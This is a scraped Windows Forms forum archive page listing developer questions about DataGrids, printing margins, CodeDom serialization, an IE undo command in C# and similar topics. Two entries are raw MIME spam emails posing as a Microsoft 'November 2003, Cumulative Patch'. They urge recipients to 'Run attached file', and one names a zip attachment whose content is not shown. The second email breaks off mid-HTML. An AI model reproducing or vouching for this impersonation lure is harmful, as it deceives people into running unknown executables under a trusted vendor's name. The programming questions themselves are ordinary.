How to show one-to-many relation in 2 DataGrids?

TheMSsForum.com: The Microsoft Software Forum

  • The MSS Forum ‹ Winforms
    • Archive
      • Biz
      • MCSE
      • CRM
      • Drivers
      • Framework
      • ADO
      • ASP
      • Compact
      • Forms
      • Dotnet
      • C#
      • VB
      • FontpageGen
      • Excel
      • WorkSheet
      • Exchange
      • Setup
      • Fox
      • Fontpage
      • ASP
      • IIS
      • Entourage
      • Money
      • Messanger
      • PocketPC
      • Powerpoint
      • Project
      • Publisher
      • Excel
      • VB
      • Security
      • Portal
      • Services
      • SQLServerDev
      • SVCS
      • SQLServer
      • VB
      • VC
      • MFC
      • ExcelGen
    • Previous
      • 1
        • DataGrid Merging row How can I merging the rows in my DataGrid in Windows Form? I'm looking for something like Webform's RowSpam or like MergeRow FlexGrid's propriety. Thank you Marco Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60691
      • 2
        • WindowsFormsParkingWindow Hi, I've written an application in C# and the application freeze sometimes. This happens when I changed the language in full screen mode (without border and main menu) When this happened and I use the alt-tab combination then I see a .Net icon with the name WindowsFormsParkingWindow. Any idea? Thanks in advance. Gaby Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60684
      • 3
        • FWD: Check the internet update from Microsoft --mgemhhjckwbawnxup Content-Type: multipart/related; boundary="ucnxoxhhdlqycgeqs"; type="multipart/alternative" --ucnxoxhhdlqycgeqs Content-Type: multipart/alternative; boundary="ypwxzcjzwdnmwdkta" --ypwxzcjzwdnmwdkta Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Customer this is the latest version of security update, the "November 2003, Cumulative Patch" update which eliminates all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to help maintain the security of your computer from these vulnerabilities, the most serious of which could allow an malicious user to run code on your computer. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. --ypwxzcjzwdnmwdkta Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> <style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none} </style> </HEAD> <BODY BGCOLOR=3D"White" TEXT=3D"Black"> <BASEFONT SIZE=3D"2" face=3D"verdana,arial"> <TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB"> <TR height=3D"20"> <TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">&nbsp; <FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/" TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A> </B></I></FONT> </TD> <TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP> <FONT color=3D"#ffffff" size=3D1>&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' = target=3D"_top">All Products</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://support.microsoft.com/' = target=3D"_top">Support</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://search.microsoft.com/' = target=3D"_top">Search</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top> Microsoft.com Guide</A>&nbsp; </FONT> </TD> </TR> <TR> <TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP> <FONT FACE=3D"Verdana, Arial" SIZE=3D1><B> <A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top"> Microsoft Home</A>&nbsp;&nbsp;</B> </FONT> </TD> </TR> </TABLE> &nbsp;<IMG SRC=3D"cid:kwcgdtx" BORDER=3D"0"><BR><BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Customer<BR><BR> this is the latest version of security update, the "November 2003, Cumulative Patch" update which eliminates all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to help maintain the security of your computer from these vulnerabilities, the most serious of which could allow an malicious user to run code on your computer. This update includes the functionality = of all previously released patches. </FONT></TD></TR> </TABLE> <BR><BR> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifyvown" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;System requirements</B> </FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifyvown" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;This update applies to</B> </FONT></TD><TD NOWRAP> <FONT SIZE=3D"1"> MS Internet Explorer, version 4.01 and later<BR> MS Outlook, version 8.00 and later<BR> MS Outlook Express, version 4.01 and later </FONT> </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifyvown" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;Recommendation</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch = at the earliest opportunity.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifyvown" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to install</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Run attached file. = Choose Yes on displayed dialog box.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifyvown" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to use</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">You don't need to do = anything after installing this item.</FONT></TD> </TR> </TABLE> <BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> <BR><BR> Thank you for using Microsoft products.<BR><BR></FONT> <FONT SIZE=3D"1">Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.<BR></FONT> <HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%"> <FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners.</FONT> </TD></TR></TABLE> <BR> <TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB"> <TR VALIGN=3D"TOP"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/= contactus/contactus.asp" TARGET=3D"_top">Contact Us</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" = TARGET=3D"_top">Legal</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" = TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A> </FONT></B> </TD> </TR> <TR VALIGN=3D"MIDDLE"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"> &copy;2003 Microsoft Corporation. All rights reserved. <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/cpyright.htm" TARGET=3D"_top">Terms of Use</A> &nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/privacy.htm" TARGET=3D"_top"> Privacy Statement</A>&nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= enable/" TARGET=3D"_top">Accessibility</A> </FONT> </TD> </TR> </TABLE> </BODY> </HTML> --ypwxzcjzwdnmwdkta-- --ucnxoxhhdlqycgeqs Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <kwcgdtx> R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29 yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX 55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z 3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk 3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt 9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx /+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r 9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV 606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGhoKGhv7///Dx8V2alqvm4Zni1YPRvx5uVwyO X0q2hLTvw8X10gx2H4PXkkuoV5zkoQeADZu7mmzIVEO7HIXb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JX3d9zAm7u5oxxzW4164doaiAM0rwwU0IAHz4hGAEDfAjH74PTQn4G0EpAA Z9HX9Y03wAEKcIAB/oDAYQc/CQkcEIBoPAMGzoDBM2KwfGa0QAMXOBLg5y8B6V/gAVNowhQogIEV 61kEDXAAPdADTVAJaKBjtgd3KCR3mrZ7nWZ36kZzx0QIV5AQGNAC5Xd+x6B+7Md8KYBN0oZkziIt E4AAKTAACtBQ8ZIA3NcBKrAMMRB+RfEAzLAM0aAMz/ACLwANyrcMyNACKXABCwA40VKEFPBwRtYE cjAHhmAEU5AAAzgFYjAHrHZmCVhODPhyvAeBtkJzNUYIs5AQNLgM5VeBV9CDoQeEIZABICADbviG FBAtRqYAzCAQAVACOSAACFACMngYFqACNRgAgiiIy+CDLQCEJCAD/yWgAV7ViHF4ATOQAFMABxI3 cWM0B6tWhQjoduIWd7nXgC20hXfHbkOBPRSYECFgAchQg4VYiMyQhikAAjdwAStgAydyIm1yARVA AQXQASvQhzYSAA2AAav4iq/4g0AYiyRwATRQAiqgAggwAxYgA7t4AAcQAjcIjBTSAgYwAySADOB4 iMkoi7uCAQuQJBYgZj3FfQOwDNpYJSnQAROAAZozjuS4AAsAfzLgAGzyACzYfXX4jlVSAmVAfQ+w MCRgAyRAAvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7 --ucnxoxhhdlqycgeqs Content-Type: image/gif Content-Transfer-Encoding: base64 Content-ID: <ifyvown> R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St 3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7 zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza BxcFCjgwgQSJCQcWCggIADs= --ucnxoxhhdlqycgeqs-- --mgemhhjckwbawnxup Content-Type: application/x-compressed; name="pack8917.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment --mgemhhjckwbawnxup-- Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60683
      • 4
        • Undo on InternetExplorer I am still trying to get the Undo function work on Internet Explorer editor hosted as activex in my c# application. Some time ago I've found a note at msdn that says "undo is not supported". I gave up. But lately I've downloaded LutzRoeder Writer that makes use of undo function. I've looked at the code and it turns out that it uses IOleCommandTarget interface to invoke this command. Because I cannot get it to work, I have questions: 1. is it a good way to follow? the undo does not work when invoked by execCommand on IHtmlDocument. is there a chance that it will work with IOleCommandTarget then? 2. after few days of fighting, digging through msdn and the groups archive, I've came up with following code but it still does not work. when asking for CanUndo I always get 0. could anyone share his/her experiences with me and tell me where the problem could be? I can send the full source code of my webbrowser control if needed. thanks in advance, Wiktor Zychla ---------------------------------------------------------------------------- --- public class MyWebBrowser { // the rest of the code is not here public enum MiscCommandTarget { Find = 1, ViewSource = 2, Options = 3, Undo = 43 } internal int GetCommandInfo( MiscCommandTarget commandId ) { OLECMD[] ole = new OLECMD[1]; ole[0] = new OLECMD(); ole[0].cmdID = (int)commandId; OLECMDTEXT ret = new OLECMDTEXT(); ((IOleCommandTarget)Document).QueryStatus( ref cmdGuid, 1, ole, ret ); return ( (int)ole[0].cmdf >> 1 ); } internal bool IsEnabled( MiscCommandTarget commandId ) { return ( (this.GetCommandInfo( commandId ) & 1) != 0); } internal object Execute( MiscCommandTarget command ) { return this.Execute( command, null ); } internal object Execute( MiscCommandTarget command, object[] arguments ) { object[] array = new object[1]; int n = ((IOleCommandTarget)Document).Exec( ref cmdGuid, (int)command, 2, ref arguments, ref array ); if ( n != 0 ) { MessageBox.Show( string.Concat( "Execution of MSHTML command ID '", command, "' failed.") ); } return array[0]; } public bool CanUndo { get { return this.IsEnabled(MiscCommandTarget.Undo); } } public void Undo() { if ( this.CanUndo ) this.Execute( MiscCommandTarget.Undo ); } } [StructLayout(LayoutKind.Sequential)] public struct OLECMD { public int cmdID; public int cmdf; } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct OLECMDTEXT { public int cmdtextf; public int cwActual; private int cwBuf; [MarshalAs(UnmanagedType.ByValTStr, SizeConst=256)] public string text; } [ComImport, Guid("b722bccb-4e68-101b-a2bc-00aa00404770"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IOleCommandTarget { [PreserveSig()] int QueryStatus(ref Guid pguidCmdGroup, int cCmds, [In(), Out()] OLECMD[] prgCmds, [In(), Out()] OLECMDTEXT cmdText ); [PreserveSig()] int Exec(ref Guid pguidCmdGroup, int nCmdId, int nCmdExecOpt, ref object[] pvaIn, ref object[] pvaOut); } Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60681
      • 5
        • creating a singleton application Hello, How do I prevent my win form application being launched twice in the same box? if one already exist I want to focus to that one instead of launching another one. thanks, /m Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60678
      • 6
        • CodeDom Serialization Problem I have a problem with serializing user controls to persistant collections with the Code Dom. I have followed many of the examples I have found, and the serialization works except for one problem. I am using the attribute - DesignerSerialization.Visibility.Content... Somehow I am losing the "association" between the instance of the collection I am serializing, and when the control is reloaded (or when you run the application). While you remain in normal design-time mode, everything is serialized properly straight to the code-behind. Everything is also removed properly straight from the code-behind (when removing an object)... I have implemented TypeDescriptors / Convertors / Designers / etc... But I still have this problem. After I reload or run the app. - then what happens is it becomes disconnected with the serialized collection. It doesn't know that there was a previous instance of it that needs to be de-serialized, instead the collection acts like a new "blank" collection on each reload. For instance... Let's say you have a Parent/Container Control that holds all your child controls inside it. Now you have a custom-collection (inherits from collectionBase) that holds the references of the child controls. The custom collection is of course exposed as a property of the parent control, standard OO design... You drop the Parent/Container control on a form. Now you add child controls to the Form. Well so far - so good. The code is generated properly in the code-behind as such: ParentControl.ChildControlCollection.Add(SomeChild)... etc... However, you reload the project or run the application. The CODE is still in the code-behind, but the objects are no longer physically appearing in the control, even though the objects are still in the code behind. Also, when you try to remove an object from the collection, the object does not exist inside the collection anymore, instead it only exists in the CODE editor. Somehow the collection is being re-instanced or disassociated with the collection that has been serialized. Does anyone have any specifics or information about where, when, and how the De-Serialization is taking place during the automated DesignerSerialization.Visibility.Content process? I have gone over my code so many times looking for some place I might have "over-wrote" the instance of the collection. But it just isn't there, I just don't see why the instance of my collection would be disassociated when I run the program or re-load VS.NET... Thanks for any info, (Really stuck here) CoderGuy Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60675
      • 7
        • BUG: Printing Hi, I am working on the PrintDocument, PrintDialog, PageSetupDialog and PrintPreviewControl components of Visual Studio .NET 2003. My developement machine is running Windows XP. There are some problems I encountered while using them. Please note that, the Regional and Language setting on my machine is using "Metric" measurement system (where the default is "US"). In this case, the measurement unit is "milimeters" and not "inches". PROBLEM #1 `````````````` The first problem is with PageSetupDialog. The following code, Dim pagesettings As System.Drawing.Printing.PageSettings Dim pagesetupdialog As System.Windows.Forms.PageSetupDialog pagesettings = New System.Drawing.Printing.PageSettings With pagesettings.Margins .Left = 100 .Right = 100 .Top = 100 .Bottom = 100 End With pagesetupdialog = New System.Windows.Forms.PageSetupDialog With pagesetupdialog .PageSettings = pagesettings .ShowDialog() End With ' Values printed out are not the same as entered With pagesettings.Margins Console.WriteLine(.Left) Console.WriteLine(.Right) Console.WriteLine(.Top) Console.WriteLine(.Bottom) End With will reproduce the problem I'm facing. Before calling the ShowDialog() method of the PageSetupDialog component, I have already set the Margins to 100. Although my OS's measurement system is set to "Metric", Visual Studio .NET still uses inches (0.01 in) for it's measurement unit. In my case, the Margins are set to 1 inch. On calling the ShowDialog() method, what you see is the margins are all set to 10 (and the unit is milimeters). On clicking the OK button, the PageSetupDialog component will convert the value entered in it's dialog to inches (0.01 in). As the result, the margins after the ShowDialog() is called are changed to 39 (100/2.54=39.xxxxxx). This surely is a BUG (or am I missing something here). I have a solution for this problem and the code is as below. Dim pagesettings As System.Drawing.Printing.PageSettings Dim pagesetupdialog As System.Windows.Forms.PageSetupDialog pagesettings = New System.Drawing.Printing.PageSettings With pagesettings.Margins .Left = 100 .Right = 100 .Top = 100 .Bottom = 100 End With pagesetupdialog = New System.Windows.Forms.PageSetupDialog With pagesetupdialog .PageSettings = pagesettings ' Keep the original setting Dim marginSaved As System.Drawing.Printing.Margins marginSaved = pagesettings.Margins ' Convert to milimeters pagesettings.Margins = System.Drawing.Printing.PrinterUnitConvert.Convert(pagesettings.Margins, System.Drawing.Printing.PrinterUnit.Display, System.Drawing.Printing.PrinterUnit.TenthsOfAMillimeter) ' Show the page setup dialog If .ShowDialog() = DialogResult.Cancel Then ' If user clicked Cancel, restore the saved margin pagesettings.Margins = marginSaved End If End With With pagesettings.Margins Console.WriteLine(.Left) Console.WriteLine(.Right) Console.WriteLine(.Top) Console.WriteLine(.Bottom) End With But there is a problem with it. The conversion between milimeters and inches causes the measurement to be inaccurate. PROBLEM #2 `````````` The OriginAtMargins property of the PrintDocument component does not work properly when the PrintDocument is added into the PrintPreviewControl. Setting the value to True does not effect the preview shown by PrintPreviewControl but the printed result is correct. PROBLEM #3 `````````` When handling the PrintPage event of the PrintDocument, if the OriginAtMargins of the PrintDocument is set to True and I set, e.Graphics.PageUnit = GraphicsUnit.Millimeter then the top margin is measured as milimeters while the left margin is measured as inches. The problem discuss above might not be bugs but I have checked the MSDN library but it does not seem to help much. Any help is really appreciated. Thanks in advance. Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60674
      • 8
        • Smart client using IE web control doesnt work. It shows an error in ieexec relating to threading. Has anyone used the ie control in a smart client. If so please help. Rajesh Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60672
      • 9
        • Option Strict and Late Binding Hello, I have the following code. Private Sub ABC_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnA.Click, btnB.Click, btnC.Click if sender.name = "btnA" then Do something etc, etc else Do something else etc, etc end if End Sub This code works fine until I turn Option Strict On. Then I get a blue line under the words "sender.name" with the following message "Option Strict On disallows late binding". I am unsure how to get access to the properties of the button clicked in this situation using "sender". Can anyone point me in the write direction? Thanks Felicity Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60671
      • 10
        • Scaled Pen DashStyle It appears that the DashStyle of a Pen object is not effected by the scale transform like the pen's width is. Is this true and if so is this an oversight? How do I scale the existing DashStyles? Thanks! Bob Pen pen = new Pen(Color.Red, 1.0f); pen.DashStyle = DashStyle.Dash; pen.ScaleTransform(0.1f, 0.1f); Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60663
      • 11
        • Adding Row To Displayed Child Table Fails Using vs 2003, vb.net, sql msde I have a Parent/Child related datagrid and datatables. When only the parent is displayed, I can add 200 rows in a loop to the child table with out a problem and then display these new child table rows. If I display the Child table first, and then try to add 200 rows, it fails on the first row adding attempt with the following error. I am only adding rows to the DataSet Child Table, not updating any datasource. "A first change exception of type 'System.IndexOutOf RangeExcetpion' occurred in system.windows.forms.dll Additional information: Index was outside the bounds of the array." What is going on? Bob Day Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60662
      • 12
        • .Net Application Updater Hi I am using .Net updater to distribute updated versions of the application to clients through internet. Could somebody tell me how to exactly create a public and private key pairs, signing the assembly and deploy them. I read the document with App.Updater but could not successfully proceed with that. If somebody could tell me step by step of doing this, would be great. thanks Tag: How to show one-to-many relation in 2 DataGrids? Tag: 60661
      • 13
        • FW: Watch security patch from M$ --dspgtqbmb Content-Type: multipart/related; boundary="gamyzwpwafnzgosvb"; type="multipart/alternative" --gamyzwpwafnzgosvb Content-Type: multipart/alternative; boundary="kcapwvyymumootd" --kcapwvyymumootd Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Microsoft Partner this is the latest version of security update, the "November 2003, Cumulative Patch" update which fixes all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to maintain the security of your computer from these vulnerabilities, the most serious of which could allow an attacker to run code on your computer. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. Microsoft Product Support Services and Knowledge Base articles = can be found on the Microsoft Technical Support web site. http://support.microsoft.com/ For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site http://www.microsoft.com/security/ Thank you for using Microsoft products. Please do not reply to this message. It was sent from an unmonitored e-mail address and we are unable = to respond to any replies. ---------------------------------------------- The names of the actual companies and products mentioned = herein are the trademarks of their respective owners. --kcapwvyymumootd Content-Type: text/html Content-Transfer-Encoding: quoted-printable <HTML> <HEAD> <style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none} </style> </HEAD> <BODY BGCOLOR=3D"White" TEXT=3D"Black"> <BASEFONT SIZE=3D"2" face=3D"verdana,arial"> <TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB"> <TR height=3D"20"> <TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">&nbsp; <FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/" TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A> </B></I></FONT> </TD> <TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP> <FONT color=3D"#ffffff" size=3D1>&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' = target=3D"_top">All Products</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://support.microsoft.com/' = target=3D"_top">Support</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://search.microsoft.com/' = target=3D"_top">Search</A>&nbsp;|&nbsp; <A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top> Microsoft.com Guide</A>&nbsp; </FONT> </TD> </TR> <TR> <TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP> <FONT FACE=3D"Verdana, Arial" SIZE=3D1><B> <A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top"> Microsoft Home</A>&nbsp;&nbsp;</B> </FONT> </TD> </TR> </TABLE> &nbsp;<IMG SRC=3D"cid:taincvu" BORDER=3D"0"><BR><BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Partner<BR><BR> this is the latest version of security update, the "November 2003, Cumulative Patch" update which fixes all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to maintain the security of your computer from these vulnerabilities, the most serious of which could allow an attacker to run code on your computer. This update includes the functionality = of all previously released patches. </FONT></TD></TR> </TABLE> <BR><BR> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pjzhjxj" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;System requirements</B> </FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pjzhjxj" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;This update applies to</B> </FONT></TD><TD NOWRAP> <FONT SIZE=3D"1"> MS Internet Explorer, version 4.01 and later<BR> MS Outlook, version 8.00 and later<BR> MS Outlook Express, version 4.01 and later </FONT> </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pjzhjxj" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;Recommendation</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch = at the earliest opportunity.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pjzhjxj" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to install</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">Run attached file. = Choose Yes on displayed dialog box.</FONT></TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:pjzhjxj" = ALIGN=3D"absmiddle" BORDER=3D"0">&nbsp;How to use</B></FONT></TD> <TD NOWRAP><FONT SIZE=3D"1">You don't need to do = anything after installing this item.</FONT></TD> </TR> </TABLE> <BR> <TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2"> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> <BR><BR> Thank you for using Microsoft products.<BR><BR></FONT> <FONT SIZE=3D"1">Please do not reply to this message. = It was sent from an unmonitored e-mail address and we are unable = to respond to any replies.<BR></FONT> <HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%"> <FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and = products mentioned herein are the trademarks = of their respective owners.</FONT> </TD></TR></TABLE> <BR> <TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB"> <TR VALIGN=3D"TOP"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B> <A class=3D'navtext' HREF=3D"http://www.microsoft.com/= contactus/contactus.asp" TARGET=3D"_top">Contact Us</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" = TARGET=3D"_top">Legal</A> &nbsp;|&nbsp; <A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" = TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A> </FONT></B> </TD> </TR> <TR VALIGN=3D"MIDDLE"> <TD WIDTH=3D"5"></TD> <TD> <FONT COLOR=3D"#FFFFFF" SIZE=3D"1"> &copy;2003 Microsoft Corporation. All rights reserved. <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/cpyright.htm" TARGET=3D"_top">Terms of Use</A> &nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= info/privacy.htm" TARGET=3D"_top"> Privacy Statement</A>&nbsp;|&nbsp; <A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/= enable/" TARGET=3D"_top">Accessibility</A> </FONT> </TD> </TR> 